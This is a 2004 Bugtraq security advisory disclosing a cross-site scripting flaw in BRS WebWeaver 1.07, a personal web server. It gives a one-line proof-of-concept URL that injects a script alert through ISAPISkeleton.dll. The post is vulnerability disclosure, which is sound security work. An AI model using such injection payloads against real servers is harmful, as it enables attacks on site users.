BRS WebWeaver Webserver Cross Site Scripting Vulnerability

From: Oliver Karow (oliver.karow_at_gmx.de)
Date: 01/28/04

  • Next message: Pete Finnigan: "Oracle toplink mapping workbench password algorithm" 
    Date: Wed, 28 Jan 2004 12:34:45 +0100
To: bugtraq@securityfocus.com

    BRS WebWeaver Webserver Cross Site Scripting Vulnerability
    ================================================
     
    Whatis:
    =====
     
    BRS WebWeaver is a free personal web server that runs on the Windows
    platform.
     
    Version:
    ======
     
    V 1.07
     
    Exploiting:
    =======
     
    http://127.0.0.1/scripts/ISAPISkeleton.dll?>alert("Ooops!")</script>
     
    Vendor:
    ======
     
    http://www.brswebweaver.com
     
    Credit:
    =====
     
    www.oliverkarow.de

  • Next message: Pete Finnigan: "Oracle toplink mapping workbench password algorithm"
    • Quantcast